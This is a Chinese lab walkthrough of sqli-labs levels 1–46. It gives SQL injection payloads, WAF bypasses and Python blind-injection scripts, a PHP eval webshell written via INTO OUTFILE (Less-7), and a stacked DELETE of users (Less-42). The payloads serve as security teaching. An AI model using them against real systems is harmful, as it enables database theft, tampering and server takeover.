本菜鸡打这个靶场打了好多天,个人觉得这个靶场对于sql注入可以更好的运用,虽然绕过姿势并不多,但是还是比较基础的,循序渐进,特别适合新手学习,但是网上的解析很杂,很难去找到一篇比较完整的,我在学习过程中写了下来,如果错误,请指教。

Less-1

这个题目是基于错误,单引号,字符型注入,

1
2
http://127.0.0.1/sqli/Less-1/?id=1'     //报错
http://127.0.0.1/sqli/Less-1/?id=1' or '1'='1 //正常

可以通过单引号闭合进行注入。

1
2
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23  //正常
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23 //报错

可以看出总共有三列,结合union查询。

1
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 %23  //暴库

这里给出union联合查询的使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
查数据库名:select database()   // 
查询所有数据库名:union SELECT group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA

爆出所有数据库:SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA

查数据库名为fanke下面的表名(16进制编码):union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x66616E6B65
information_schema.tables:存储mysql数据库下面的所有表名信息的表
table_schema:数据库名
Table_name:表名

查user表名下的列名信息:union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x75736572
column_name:列名
information_schema.columns :存储mysql数据库下面的所有列名信息的表
table_name:表名

查user表名下列名username,password的数据:
union select 1,username,password,4,5 from user

Less-2

数字型注入,不需要去闭合,给出payload:

1
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3

Less-3

1
2
http://127.0.0.1/sqli/Less-3/?id=1'
error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

根据报错回显中可以知道需要去闭合()

1
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,database(),3 %23

Less-4

双引号闭合

1
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,database(),3 %23

Less-5

可以通过报错注入

1
http://127.0.0.1/sqli/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23

也可以通过盲注,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#Author:p0desta
import requests
import string
import sys
global findBit
import binascii

Flag_yes = "You are in"
def sendPayload(payload):
url = 'http://127.0.0.1/sqli/Less-5/?id=1'+ payload
content = requests.get(url).text
return content
def findDatabaseNumber():
count = 1
while count:
payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if "You are in" in recv:
return count
else:
count += 1
def findTableNumber(dbname):
count = 1
dbname = '0x' + str(binascii.b2a_hex(dbname))
while count:
payload = "'AND (select count(table_name) from information_schema.tables where table_schema="+dbname+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def findColumnNumber(tableName):
count = 1
tableName = '0x' + str(binascii.b2a_hex(tableName))
while count:
payload = "'AND (select count(column_name) from information_schema.columns where table_name="+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1
def findDataNumber(columnName,tableName):
count = 1
while count:
payload = "'AND (select count("+columnName+") from "+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Flag_yes in recv:
return count
else:
count += 1


def getDatabaseName(dbNum):
global findBit
for k in range(dbNum):
i = 1
while i :
findBit = 0
doubleSearchDbs(-1,255,i,k)
i += 1
if findBit == 1:
sys.stdout.write("`\r\n")
break
def getTableName(tableNum,dbName):
global findBit
dbName = '0x' + str(binascii.b2a_hex(dbName))
for k in range(tableNum):
i = 1
while i :
findBit = 0
doubleSearchTable(-1,255,i,k,dbName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def getColumnName(columnNum,tableName):
global findBit
tableName = '0x' + str(binascii.b2a_hex(tableName))
for k in range(columnNum):
i = 1
while i :
findBit = 0
doubleSearchColumn(-1,255,i,k,tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def getDataName(dataNum,columnName,tableName):
global findBit
for k in range(dataNum):
i = 1
while i :
findBit = 0
doubleSearchData(-1,255,i,k,columnName,tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def doubleSearchDbs(leftNum,rightNum,i,k):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchDbs(midNum,rightNum,i,k)
else:
doubleSearchDbs(leftNum,midNum,i,k)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchTable(leftNum,rightNum,i,k,dbName):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "'AND ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+ dbName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchTable(midNum,rightNum,i,k,dbName)
else:
doubleSearchTable(leftNum,midNum,i,k,dbName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchColumn(leftNum,rightNum,i,k,tableName):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name="+ tableName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchColumn(midNum,rightNum,i,k,tableName)
else:
doubleSearchColumn(leftNum,midNum,i,k,tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "'AND ascii(substr((SELECT "+ columnName+" from " +tableName + " limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Flag_yes in recv:
doubleSearchData(midNum,rightNum,i,k,columnName,tableName)
else:
doubleSearchData(leftNum,midNum,i,k,columnName,tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
dbNum = findDatabaseNumber()
print "the number of database is "+str(dbNum)
getDatabaseName(dbNum)
dbName = raw_input('Find tables from :')
tableNum = findTableNumber(dbName)
print "the nameber of table is: " + str(tableNum)
getTableName(tableNum,dbName)
tableName = raw_input('Find columns from :')
columnNum = findColumnNumber(tableName)
print "the number of column is: " + str(columnNum)
getColumnName(columnNum,tableName)
columnName = raw_input('Find data from :')
dataNum = findDataNumber(columnName,tableName)
print "the number of data is :" + str(dataNum)
getDataName(dataNum,columnName,tableName)
exp()

Less-6

同上,改为双引号闭合。

Less-7

考查mysql对文件操作

限制:

  • 需要有读取文件的权限
  • 需要知道绝对物理路径
load_file()

这里需要注意对路径的转义。

1
2
3
4
5
+---------------------------+
| load_file("D://test.txt") |
+---------------------------+
| p0desta |
+---------------------------+
1
2
3
4
5
+--------------------------+
| load_file("D:/test.txt") |
+--------------------------+
| p0desta |
+--------------------------+
1
2
3
4
5
+----------------------------------------------------------+
| load_file(char(68,58,92,116,101,115,116,46,116,120,116)) |
+----------------------------------------------------------+
| p0desta |
+----------------------------------------------------------+
1
2
3
4
5
+---------------------------------------+
| load_file(0x443A2F2F746573742E747874) |
+---------------------------------------+
| p0desta |
+---------------------------------------+
数据导出
1
2
3
4
mysql> select database() into outfile "D://phpstudy//www//1.txt";
ERROR 1086 (HY000): File 'D://phpstudy//www//1.txt' already exists
mysql> select database() into outfile "D://phpstudy//www//2.txt";
Query OK, 1 row affected (0.00 sec)

第一次写的时候1.txt已经存在,写入失败。

直接写webshell
1
2
mysql> select "<?php eval($_POST['p0desta'])?>" into outfile 'D:/phpstudy/WWW/p0desta.php';
Query OK, 1 row affected (0.00 sec)

Less-7

1
payload:http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,'<?php eval($_POST["p0desta"]) ?>' into outfile "D:\\phpstudy\\WWW\\shell.php" %23

Less-8

构造个bool条件进行盲注,直接用之前写的那个盲注模板脚本就行。

Less-9

基于时间的注入

写了两个简单的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
url_new = url + payload
time_start = time.time()
content = requests.get(url=url_new)
time_end = time.time()
if time_end - time_start >5:
return 1
result = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
for c in s:
payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)
if check(payload):
result += c
break
print result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
url_new = url + payload
time_start = time.time()
content = requests.get(url=url_new)
time_end = time.time()
if time_end - time_start >5:
return 1
result = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
for c in s:
payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
if check(payload):
result += c
break
if ll==len(result):
print 'table_name: '+result
end = raw_input('-------------')
ll = len(result)
print result

Less-10

双引号闭合的盲注。

less-11

有回显,报错注入。

image
image
1
2
usernae = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
password = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

奉上我收藏的报错语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

less-12

与上一关基本相同,区别在于

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

payload如下

1
admin")and 1=(updatexml(1,concat(0x3a,(select user())),1))#

less-13

post数据:

1
uname=admin'&passwd=chybeta&submit=Submit

报错如下:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'chybeta') LIMIT 0,1' at line 1

根据报错语句可以猜测出闭合情况,代码如下

1
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

有报错,直接报错注入,闭合一下就OK。

less-14

与前面的区别就在于

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

注意使用双引号闭合。

payload如下:

1
admin"and 1=(updatexml(1,concat(0x3a,(select user())),1))#

less-15

没有报错回显,闭合之后盲注。

image
image
image
image

可见构造了布尔条件,接下来写脚本跑一下就可以了。

less-16

跟上一关差不多,只不过闭合语句不同。

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://127.0.0.1:8080"}
url = "http://localhost:20000/sqllab/Less-16/index.php"
data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
content = requests.post(url,data=data,headers=headers,proxies=proxy)
return content.text
flag = "flag.jpg"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "tables":
return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
elif flag == "columns":
return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
elif flag == "data":
return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
recv = sendPayload(payload)
if flag in recv:
doubleSearch(leftNum,midNum,i,target)
else:
doubleSearch(midNum,rightNum,i,target)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The database:"
target = "database"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()

注意闭合一下然后构造布尔条件注入就可以。

less-17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];

// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

简单分析一下代码,首先有个waf处理,但是waf并没有对password使用,而且有报错回显,可以直接通过报错注入,报错注入这里不再多说,上面已经说明。

less-18

这里就要用到burpsuite了,这三关都是考查对header头进行注入

1
2
$uname = check_input($_POST['uname']);  
$passwd = check_input($_POST['passwd']);

uname和passwd都进行了过滤,在这里进行注入是行不通的。

1
2
$uagent = $_SERVER['HTTP_USER_AGENT'];  
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

所以可以利用构造User Agent进行注入。
这里推荐使用Burpsuite,毕竟是神器。

这里跟前面的报错情况就一样了,只不过构造的位置不同而已。

less-19

情况跟上面一样,只不过位置不同。

less-20

情况跟上面一样,只不过位置不同,不再赘述。

less 21

登陆账户,抓包发现

image
image

用户名经过base64编码传输,通过修改uname进行注入攻击。
admin')and 1=(updatexml(1,concat(0x3a,(select user())),1))#
image
报错。

代码分析

注入完研究一下代码,可以看到这里如果没有设置cookie的话

1
2
3
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);

将用户名和密码代入数据库查询,查询到的话设置cookie

1
setcookie('uname', base64_encode($row1['username']), time()+3600);

username和password有waf,但是cookie这里可以注入,有报错回显,直接报错注入。

1
2
3
payload:uname=YWRtaW4nKWFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=

</font>Issue with your mysql: XPATH syntax error: ':root@localhost'

less-22

使用双引号去闭合,直接用报错语句去注入

1
admin") and 1=(updatexml(1,concat(0x3a,(select user())),1))#

image
原来这个和21关不太一样,不需要)去闭合。
image

1
Cookie: uname=YWRtaW4iIGFuZCAxPSh1cGRhdGV4bWwoMSxjb25jYXQoMHgzYSwoc2VsZWN0IHVzZXIoKSkpLDEpKSM=

less-23

使用burp suite跑一边字典,发现过滤了注释符号,提交?id=1
报错syntax to use near ''1'' LIMIT 0,1'
注释符号没法用了但是可以使用
id=-1' or '1'='1

1
payload:id=-1' union select 1,database(),'3

相当于

1
2
3
4
5
6
7
mysql> select * from users where id='-1' union select 1,database(),'3' limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | security | 3 |
+----+----------+----------+
1 row in set (0.06 sec)

less-24

首先根据正常思路走一步,然后找一下可能存在注入的地方

image
image

随便注册了一个123的账户,然后有个重置密码功能,给个人猜测这里可能存在越权或者注入,但是既然是考查注入,那么方向就明确了。
看一下代码

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

既然这样那么就可以通过控制username语句不执行判断password了。

1
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

首先注册一个账号插入数据库

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

如果注册账号为admin'#的话代入这个更新语句

1
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

成功闭合并且注释掉了后面的语句,重置了admin账号的密码。

less-25

过滤了or和and。

双写可绕过

1
http://192.168.211.145/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infOorrmation_schema.tables where table_schema=database()%23
1
2
3
4
5
6
7
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

image

查看代码发现只有一边过滤。

less-25a

这个题是25的拓展,加了盲注

1
http://192.168.211.145/sqli/Less-25a/?id=1 anandd (ascii(substr((select database()),1,1))=115)%23

写个脚本跑一下就行了。

less-26

过滤的挺恶心的感觉

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

可以使用没空格的报错注入

1
?id=0'||extractvalue(1, concat(0x5c, (database())))||'1'='1

继续这个思路往下做,不是用空格的话用括号绕过,or和and还是双写绕过。

1
2
3
4
http://192.168.211.145/sqli/Less-26/?id=0'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1


XPATH syntax error: '\emails,referers,uagents,users'

less-26a

这个题也是26关的拓展,改成了盲注,思路一样,构造一下bool条件,写个脚本跑一下就可以。

1
?id=0'||(select(substr((select(database())),1,1)))='s

less-27

经过测试可以发现是select等是用白名单过滤的,直接大小写混合绕过,考报错,构造报错语句。

1
http://192.168.211.145/sqli/Less-27/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1
image
image

看网上的都是使用%0a绕过的空格,应该是版本的问题吧,并不全适用。

less-27a

拓展的27关,改一下构造bool条件,写个脚本跑一下即可。

1
http://192.168.211.145/sqli/Less-27/?id=-0%27||(seleCt(substr((seleCt(database())),1,1)))='s

less-28

这关应该是考报错的,但是源代码里却把print_r(mysql_error());注释掉了,应该是作者的忘记了吧。

自己改了一下。

看一下过滤的的代码

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

如果报错注入的话直接用之前的payload就可以。

1
http://192.168.211.145/sqli/Less-28/?id=0'||extractvalue(1, concat(0x5c, (seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'1'='1

但是如果就是去绕union select呢,
payload如下

1
http://192.168.211.145/sqli/Less-28/?id=0')union(select%0d1,database(),'3
image
image

less-28a

这个过滤的就比28关少很多了,union查询也可以,盲注的话也可以,思路就很多了。

less-29

这个题看网上写的直接在index.php页面进行注入的,那个没有任何防护,题目应该是在login.php页面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);


foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
1
2
3
4
5
6
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);

接受字符串后首先进行分组,分组标志是&,但是只返回了第一组进行验证,那么就可以构造

1
login.php?id=1&id=' union select 1,database(),3 --+

image

less-30

跟上题差不多,只不过双引号闭合。

1
http://192.168.211.145/sqli/Less-30/?id=1&id=" union select 1,database(),3 --+

less-31

逻辑跟30关一样,只不过

1
2
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

闭合的情况不一样。

1
payload:http://192.168.211.145/sqli/Less-31/?id=1&id=")union select 1,database(),("3

less-32

首先测试?id=1'

image
image

可见在'前面加了反斜杠,尝试宽字节注入

原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ‘ 的时候,往往利用的思路是将 ‘ 转换为 ' (转换的函数或者思路会在每一关遇到的时候介绍)。

因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:

  1. %df吃掉 \ 具体的原因是urlencode(') = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
  1. 将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。
    1
    http://192.168.211.145/sqli/Less-32/?id=-1%df%27union select 1,database(),3%23
image
image

获取到数据。

waf如下:

1
2
3
4
5
6
7
8
9
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash


return $string;
}

less-33

同样使用宽字节注入。

1
2
3
4
5
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

32关只不过是用正则去实现的类似addslashes(),函数的功能。

less-34

同样是宽字节注入,只不过是post注入,在这里需要使用burpsuite抓包修改

image
image

拿去数据的话构造payload还是一样的方法

image
image

less-35

这个题刚开始做的时候直接常规做法读了,读到了数据。

image
image

但是题目不应该是让这样操作的吧,还是看一下代码吧。

1
2
3
4
5
6
7
8
9
10

function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}


mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这个题目感觉不应该在35关啊,数字型注入,只需要编码绕过就可以了啊。
payload:

1
http://192.168.211.145/sqli/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
image
image

less-36

这个题目与前两个不同的是使用的函数不同,

1
2
3
4
5
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

\x00
\n
\r
\
'
"
\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

同样使用宽字节注入攻击。

less-37

这关的攻击姿势跟34关差不多,waf跟36关一样,攻击姿势看34关。

less-38

下面将会考查堆叠注入(Stacked injections).从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

原理介绍:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如: 新建一个表

1
select * from users where id=1;create table test like users;
image
image

执行成功,我们再去看一下是否新建成功表。

image
image
局限性:

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

payload:

1
http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+
image
image

可见成功插入数据。

less-39

这道题目跟上道题目是一样的,唯一的区别是

1
http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+

改为数字型注入了。

less-40

题目也一样,只不过语句

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

闭合一下就可以。

less-41

这关和less-39关一直,只不过错误没有回显。

1
http://192.168.211.145/sqli/Less-41/?id=1 ; insert into users(id,username,password) values (28,'test2','test2')--+
image
image

less-42

分析关键代码:

1
2
3
4
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

登陆的这里可以看到login_password登陆的时候并没有使用mysqli_real_escape_string来进行过滤,然后直接带去sql语句进行执行了。

那么就可以利用这里来进行注入了。

在进行post的时候,username随机就可以

1
login_password=';delete from users where username="test2";#
image
image

然后执行登陆之后

image
image

可见命令已经执行,test2用户已经被删除。

同时如果想拿数据的话可以

1
login_password=0' union select 1,database(),3;#
image
image

执行语句实际如下:

image
image

less-43

与上一关基本差不多,区别在于

1
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

只需要再闭合)就可以。payload如下:

1
');delete from users where username="123";#

拿数据的跟上面也差不多,闭合一下就OK,payload如下

1
0') union select 1,database(),3;#

less-44

这关与前两个的区别就在于没有报错回显,很难知道是怎么去闭合的,这里闭合的话常规闭合尝试就可以。

payload如下:

1
login_password=0' union select 1,database(),3;#

less-45

这题的性质跟上面那个题性质差不多,重点还是在闭合

1
login_password=0') union select 1,database(),3;#

less-46

从这关开始的几关要考查order by 注入。

这关有报错回显,直接报错注入。

image
image

可以看到已经报错,但是被解析了,右键查看一下源代码就能看到。

看一下代码

1
